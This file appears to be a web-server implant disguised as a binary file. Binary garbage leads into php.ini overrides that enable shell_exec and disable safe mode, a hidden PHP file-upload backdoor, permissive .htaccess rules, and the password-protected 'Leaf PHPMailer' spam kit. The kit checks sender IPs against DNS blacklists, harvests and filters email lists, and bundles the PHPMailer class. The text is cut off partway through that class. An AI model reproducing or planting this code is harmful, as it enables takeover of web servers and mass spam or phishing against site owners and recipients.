-g{'R{}Jd 9I2iZ!]ʩ,XVt$Ag!,p,9kz,oyewlfxcjagE3eoalpzixdygwuyBm24@"'-];ƛq.󢐌L߃ώֈ {~NvD\\0*2f,v	a8
h폡h~8*qq
L\{΂OfK_{rxQ7h$픴0FJ¾VuibÊ{rVkOvZp%RܩO̝z=gnjé81YqɣnBvX!D&AI}7ش"f6*yefQc^+5@9ꍎs?md2¥`Kvۡ
ة.v;`S_(!/
m b4HU=8(nz{JBuk-԰Nw
Rnr]\ ۏY^V銃	
8D8b-L%WEpHo
qoa󨱢}?$\;ǏlXYƞ,7"]=('?"H- Io՗|Ϣq5B :9|Zh[hxwpN½iOӢWK]Qdw1!i6|X5vKf"E-#vw^nܢP|O"0Dt4J_Jv_pm.)(#f+EtڻLP!(ZbWEsswyewlfxcjagTE2_S]&,(ږCFݳSТa
R̼SY=
GIeoalpzixdyppnW!k;;Cb4/2O󹱽LĨ
ǧJ׹Y	|eoalpzixdyNGz\t31n7Opox(\j
eoalpzixdyXُpaZ| :[K9*z"IP*L^UmDCܘI[k#Gd{,W#h~xj|	k"ObaRh o1_%a(A^֩sD䵣q纺ku_r݀M֦
2Le;r"z6yPǢgn/S!
$;SnS00LE~q
EQI#ռdhk_x, Yc"KJ)rvzY"FVmM~jvqχfL2lL'l j=T[Bv֛gi (}.'-"V#]~/ocKMgrЙf;QEeoalpzixdy)߬F]޿/I!KT!8q7Vީjeoalpzixdy8i;lyQ2|
7LO{[DX地;&ZԿyewlfxcjagqxYqw`%\rqeoalpzixdy|ūyj[#kJpA@L-+NMO%%:ϒ;Cl_
uѹ\eoalpzixdy+
WܷN*hKJ-ujD7gE*Р'#V=lēhCv
|aceڀI뛾A(wkRJ{@'$ޠ
R'ķ{ek;
;Ɠpnޣ|GeQQ3iæɺк\?x*ţ	R~qUip+`dZƻ;(Ԝw}sW_y_&e =)@o@Z!z2WX&/k	sV8,16~B u_
2P׌$2@u{&X6uI}'AoAb_㍗(QQIyewlfxcjagJ0)Jx/Geoalpzixdy9:t)EfYyyԲ6Z7^,W;]
`iDdw4!PBKC\N i뻊Ȳ|zmjڞeI
/-i&Rk	O0!_	G!-o=7LAֱ?yewlfxcjagH^g^v?FP6JFvr]=5e7~*K$0/ZKnS:ٲMs}
,O,}LJyOV?-JMmr)uqelf..v"jǉ}[J{װ~,~cAfԭUu(EYqP1yewlfxcjag]uWWcK|GP)1.TM(~e!&zB3NJ-^%MO8JƖ
8iN)qmF]	p%אַ.0y{% Uw rDܿl+Hmzdaeoalpzixdy+K+^ĽSbb6O)2H̠U7+!ya{lZ(MXRi_5՝
\tyO	[rPLvW}KWد~_E8CS
kcH81xSNŧR{cyewlfxcjagA}VUx)*_Z|A,Gy 5yewlfxcjagHu.E,ûyJM654jR\%ͥiMPˢUl7\cnA{#Keb
BS58?W`GM3tg I[D*HkS9ah;3yH[*;evb\eoalpzixdy$K4ZgR`1Xb7}^JbU#o//$pvl /a:{E%/ *Jox(_RX]-4a4#
7)G~d=kP `8OJV Ƌ!\dQSReoalpzixdyn|ۤSwwT&eoalpzixdyEMJs̆	"fg-i6seoalpzixdyKd
Xpg3wjcO'KXH^L?]w{Ņl* FnЦRg:{uզyewlfxcjag&FFeoalpzixdycyewlfxcjag:+lGBW/rkgУeoalpzixdy:#Bt#2ʲ:Ns'=eoalpzixdyQ{brZ14 ܙeoalpzixdyBLB}.DoQ7_Irrd.+/nGA7X7SB;׉\ȧ2X6fIb1.(!*9dq~PZPBʕVh`d,jߴFI2$頔1xMIg5pاt~13gKCx,Iok
vX	Z3/*ڸJ2@@ =7-)I^}\(3EQ
y.i	GuSJn%/g8Qf;BoJÊrC,!zkèk:
oleoalpzixdyĲxu#;	I܄NPsԙSOppy
Oz
g]VҍYDx`jU	.OOo#ϧ^qfm٫+QHlDؕ,2V~)7oJ?KШISfb3SmRgl}~=UQ
]QQ:
LBWc:3Akd3ʇҬ]~$&[gN-d
Q1Om$z_T3L%8#ފnRE6s2=;U98ݮ{C^}#Ox]c"Ctڨ$9xo(5EM5$NI}?
;\La=0+HppulR KDS^{Ck!]ຟOnOwjF-A!VgPveR^0i!oWQkfl@|)BW7Uc/3Z犠SػCeoalpzixdyeoalpzixdy_yewlfxcjag}
|6N(
Ga@W&:[EฝOI}stۄQg`dLѱ:Ib eoalpzixdy)G.Dey%T|83T*ѓEĸzxmBL
]7]ҶfEl )ݱgbE
{-j9L6$AM	,GW {gUw:y06zq7B
8@$oyewlfxcjaga)܅d*W5keoalpzixdyΩyewlfxcjaglcxD8iop}7I.Xq`3cKg#Gc^;Vh"om! 
8ȉ)Nvyewlfxcjag֎ۣ4GM|ha{fW{̵ٓCĨCtd.VQ4M蹖v;x|Nq/roύep;)Bџ$1.&Zw{-(ϊCMxuj$eoalpzixdyINeoalpzixdyk
m'60zE.5X[0~#-Vy^r9y9+E_''heoalpzixdy3Nyewlfxcjag=X羂3nJeoalpzixdyQ^VLz?{DUrјj*&z]Dx( k&jyewlfxcjagH"4
Ҧ;|؞]:ZN͓?k?f	seoalpzixdy|1KC\heRT$eoalpzixdyqEyewlfxcjagVcZF+O#h:bT~DWdCvF4WVXcpo0i1',|2~`oy{NxjR[K51bzC-#႑qҩz	၊q݅]H;#Y6Y9˶Ԁc&Y@ʷ~LaCbYs`/"A#paĬ؏~{[ADr7ZP?͍`$6JOw44Vgx3Ѣ:En	!L@uj{9φ[)H-nb&=cyewlfxcjagcn,sMnxn#/+J~5ڱ7Op
2+ٜ/	
S|:{k{|iO[k [DS2ˮ^`SEukQ]2cӅb׸?6KWO"5ؿBuwy#s)֐Cu~R[f$$02-s-[7
tݗx֞~h7UQT(
eoalpzixdy U,1}MP -LNp[!ߚֈ]A5zJT8xa7QA+0dzw]s2
ny$fMWa[_'*;HnH/6eoalpzixdy75q0j#wE=ZA'ԫi\y3V&Vx$Ѷ_{1vyewlfxcjagcw/v (?Cf=j?m
o+d"|(ө7L[[
9s*2'B	
xì iN	yewlfxcjagNw09}nf!z2;S)eoalpzixdy7Y\d{c;_U!!%eoalpzixdyXLY[觐4J@w1N7BiH.f&|׮EO5!v$
+}fޝ6V!AY.TRQiƵX6
߿lβ̄4`FLʯmtD'}])/wA2:4";lc 鐚{ELoG SNH;x:&[{Vu2*
0bǜ}eoalpzixdyj/8]
@$wX1ܸ3NJƍmC!,|W;KN;jtmZrmx.:")A		[@6E08HIv#QhuoH$g)wCl-ԋK}T/=JvDwpN
dI[d^n||F/U4$k%!c{KeoalpzixdymcfS5~'kR1_t]k rrR4poTL./yewlfxcjag{qhsɲXqxܵGXýŲvZ^`F0f.$ ԁd}D~[3Mߛ?AQt-/4ObpJҮYkLJREbexkBm1*%'lч58q"hVMxi	ARi7{p1R/F*Y1W3mSWkWKќ%-+mvnLkw↬YocyewlfxcjagG{G:!n`WBPX+i&f"ܰ^v?U ,ͨh&kmkn,RD:2lh4_t"EM!ib֝wW`ͷUE}IqP2 sH*s-߸3TZ2ՅCv^yewlfxcjag˭.Ѹ%"h|0CfqԜL{Xϊe 1täx?&+rLi
J yrO0qy3-\axT櫔3ʱS(_o 3g(#"69zwz^n^N
#ϵjPkGQ)$՛'Ƹeoalpzixdy |
QwO4\5g#܉s/2Յ
l[P{eyeqݛJ"F)DBiBT/^3Um63yCiq:)p&2Y:ueoalpzixdy$_!ixΣt ꦟیrAY_03,pyewlfxcjagMl*rꔌJ zN1t
d?	+Ew1ΗP8[Tjtn[eoalpzixdyPg=w	@c?syewlfxcjag	UVEzǢW?n)fMrMlw$ySeoalpzixdyk[pY].ش`21[
'7InC;āt	,8q墐	-붆D
*z" F,eNl8"P΃TNu|v_nz6l6cm[K[vއH`+8IO+)?}eY`[20s4)/L1"^o`ezp2ձcvK9%yewlfxcjagC^BFU}*TҹV6zlSb̨8S$[I26o|2S pIvd[l¼T7GP"eoalpzixdyK$N0)"Påz|7us5$w&`3ú{*r
jlإⓕIy}֒E7-y5&+'bl)/F:ŵٝ5arP/"kɻ^,*dwu1bil̡O	+0皌xl5qx27d!%ʤ^vS)މM{
KY\6	g':'us/n3ċhIkT}T98i%l1BsbǊ.H|6QLM{8DY;괼j.eAwkjeᢳP!Z	Yy.}Q_isT0TuW^$0!+amJ߂X
^6$W|vL/I;#~+pj\(-jY{j\U !j6ddx0(
_C{&qfRVyϠ0vI
m[ȔD
Ϸ ֆ.c~:v՘Ëq9Gb)Ԋ11cj;3!6bX	.HVS-+M1ܫY0dQSe˰!6zGm2 rjbUe7yNTiX'ϛlh(1c"tX$ᶷ^NkCAߚR$ev*]B?e{/էXfJyLdؐhOEDFo,&r&,PHCPG^õtB/F+u'D; qi(妯1_ѫFB!bߋ:|H?EBTG,ռ~f:v9y@s6\5L/wٍJOF
菟Ya$SPYUmژ{ה	/Ǜqjth5_`23Nf%UeOD́+OE_쳒®LdR|B䰓\˰d{z'9yewlfxcjagyewlfxcjagaLufYF5(*b&Meq!3Y^hBHoj@
R^YVʗe޺F(G(**(-$G&)Hm7q@1l|B}1)lQT ?Gdؙ]Jhx(ƽ(HvH}Y	 s[xYȱc%dSP:.^Ak72XezH&@ 4ToO9j$z?Iu|ZPV![aXv *{yl%5k)JT4$?q;eHD3(8PK3dq9Ո-ށǼs0+3i+ˉHyewlfxcjagఁ(4	["wpdU3s5m[D5%@`'qZ./D팱MT|2Lp9bԍ2GK޶r/W)L!#x^ADԠ
yewlfxcjagE6Oyewlfxcjag[]@
GY?$#stw'2_YyPyewlfxcjagbeoalpzixdy{`^Ҧ@d(eoalpzixdymkM	\Uw%cp
yewlfxcjagTF7ddZ|"Fvⷜ'&bSIn?~ϞGM
aGfW,
?eoalpzixdyn1{'E Onդ,,)!q]ps0Fe#.m3bJknhtʹRO/5N,iZ6rQO؉X[ 1ɘ;`g}''CY(M1B^eoalpzixdy.y z}{nTgi@PґSS
caryewlfxcjagNCH?vtRLO#leoalpzixdy龋y?	Gc@wcr5P8*
y,H9@mVt@75ho	:t? ~/'Q=EgEs
|=lW\da
BHP^
Kk#"wBPj/*ZĭNaG	clʷh	;Ԛ?26JYe$QG.ceoalpzixdyA|&zPmeoalpzixdy`3jg 17(&U4:PmqWp嬫lcc~b?%:$EPm{VX?s[  ෞI7n|+rrqo)(GeoalpzixdyЂ%W]NtvRe@bK!Y_/㶉Oǀ;uЧNx@/R]Fݺ^-el4+EH%:
p;=F.RJ~
Xef#j/!]DҮaCKVǦ ^?He"׉2yewlfxcjagG{B25hYeӴ%}$b;^[ eoalpzixdyfjOI5
/4CV[ytwZ)WT|3"j\#wb:ЈWo5q94Aj;ε-11k7}gg
eoalpzixdy/YL؞")"ũť}ד$1St]D _DDﺄgz= u7|:*q1,xUjZ%y[Z1. 4JIG

`O&!Ocyewlfxcjag tq"9&?km?^$7'btdh6ldiD{K/;IG90i^X
֟4&zxG&{C64ٕQ-8BD~%
e?',YHE7W!|~υIb2`ؾۚퟪ{c%gCU8e
PǈXs`+J}t(A؂&ijg\-7~O2A#"\_m哓Hh!U[~Ի rB	2h$ΥTSM1p4v/l35mF[ZAeޚxO/W+3K
g1/
[_1R`e|7z(k2V\֓+U2laSRǊ8RՌ/n)6M&HPuCy*f(KnX8~
\/5Ņۺ؝.)
9l eoalpzixdybu1pfbt1d86HIJtHyewlfxcjagM'og^&E[Śa89iN9κ_3N9CN\2%,:|/d~,y8{q(̯t(tqD^9ۣ4&}4B׸`Ɏl0|/^,/+-f+\r0Z^~-D0%IRm",~zNFdAmmi#8FRTl͟#c~n^Žk3qȷ_]M,ZSdo?;X&qeoalpzixdyr
.Lf
U-y9JƉ|Y2d"17;=fv1}a7E鑞;yg)F4FĂ:j:E0{D_\]2wpAu%	+}ZdHe*$
)?
ܸf:(	==1f@;P XE(WE*|H/*	;PY9)d3x-h}V1}-{%SX#*o
lV	ywgFg|4uƯ{}lKzxՏ_lD
i4 "ft魏dQ\EiϗES7Rz(8nyYF
Հ4yewlfxcjagO/rRV6@3-ۥkе-@_)%Ry3211s_(^iF`Lyewlfxcjag85Lxn1Y/wr$g4 x#U@cyewlfxcjag|ןAA;A8]//znڏ]Uw?6C9%2.eoalpzixdy޲
HP YveoalpzixdykS|$xg.8՚Rg"om'V_a5N68wo;ЋD`Bϝ{bK{R 2NyxyAhNFiS	
7'5cks!c5вPfrLܲ5#ľXȎa՚deoalpzixdyϐPs;JَCZxkvp2X5АL*.(*;Jk ;·.+qY٢4_.b|hj-*8憣Gݑ@dsaJoנ49-88mQɘ}aon.~DcdyewlfxcjagBlnCTͶTy￼7+zfMIȋyewlfxcjag1`ByJUn\HNԪK s.WQ(yewlfxcjag#"d7^&0`pPƶ.wZf:DiިdIgeԙRUdV]߾
eoalpzixdy&3whQS^$|%b-.|vu4CeoalpzixdyF4PHȑRa5 !ꔓSͣ A|koDiX3-,y/*hX4\,#584cuI9x_*h{.RIH® Y
H2AO.o UxO|Z+-
o{Ks"Ş0Fk(F͚P%*zS.Bh@ f)/;:f,u_HiKzV7Jឿ4N61&weoalpzixdyjz\yewlfxcjagԎ =%ob(j~^@iLя|
,i3)arSyewlfxcjagReoalpzixdyIxqocjėЖOԏNX20A"|&pk+b{lIalԢ"vqD8xSO2qU3Jp+DL	+b_ة^\3iBԆ6fݓ/wY/i(*G
C%|S- C
)"_I+ bG/+(#њUhs ōeI=øQ״TfĂϖ`yr:yewlfxcjagｵeoalpzixdy
7QF刑.2eoalpzixdyh}2s^Sx0FnAg?k569\Su#c-q%K~'7v]AM{m)χjyewlfxcjag'@?w@{I73Flm.Gc Sm޳-tecIکm{f,U\XJٔZ-[F"lvԕjNni9V7
p{Ƚ
Gᑅh~"QQ8=QMnx)[84bgL~g\j͞RY}ߡt=h^)۹Wz gY9zyewlfxcjagΪQ}Dqw8)@B[E1z'HÃiP[(eoalpzixdyG?A3ُ&Le?8-i
eoalpzixdy\D|':/^ҧM'Rɤ	P GCv翬zL1/5\ШôDߚ8LOP]ȼ=?*ht_A)NG󞎌9GǼrܑ'Cw)췒,SS61yewlfxcjagmT*ƢYC N,Ӟ0 pޱz,	cq?AtY3Dklw~4	띗} EB,8ӲH*XQ9E,a`
keoalpzixdy`aʿ]f/vY7јN)
 ()a+\QUpV\(!ke_JegUOFYk"蝟B,ZRz^0.yXA&\FYlB㬿	eF@h(*G?Tt3!$o"0zIaTGGԜ.M0=U/..QƵZeoalpzixdyvdnn?B䦌qoQqW1uѧ^C	An+zndLzIf| ``5XN}ZP,eoalpzixdyx\dq:r;5Ew5xξB_ I%:Jvx-pe5 ?,X@O=ԅJ
/F2oꇖ?W+ŏ:Bf6ѿ	1;ZEYh
bIJ4eoalpzixdygh*vVC-'9^.m$$Ph$H)f
\Gy7=AnXRQTݚUοFWM7 Rr&K)e#V&jg)=&A]H$ESLvDnWNwbM)`4]Z$S+)/|SZ2zk&r`e.֊w4Q*O;~ PEIv)q/q^58eoalpzixdy3% RJ|ƪyewlfxcjageoalpzixdy%%O1?u8ǩ1,qeoalpzixdy2K7#?_h09tŬ
J֤?M1-5*`\Mʩp%q`ĠCS ./.xI
N
x1+wݿP=s|t{JK|JP|OBNz}Vaeoalpzixdy̔r_Qsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "IqHxBZiMJLf";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
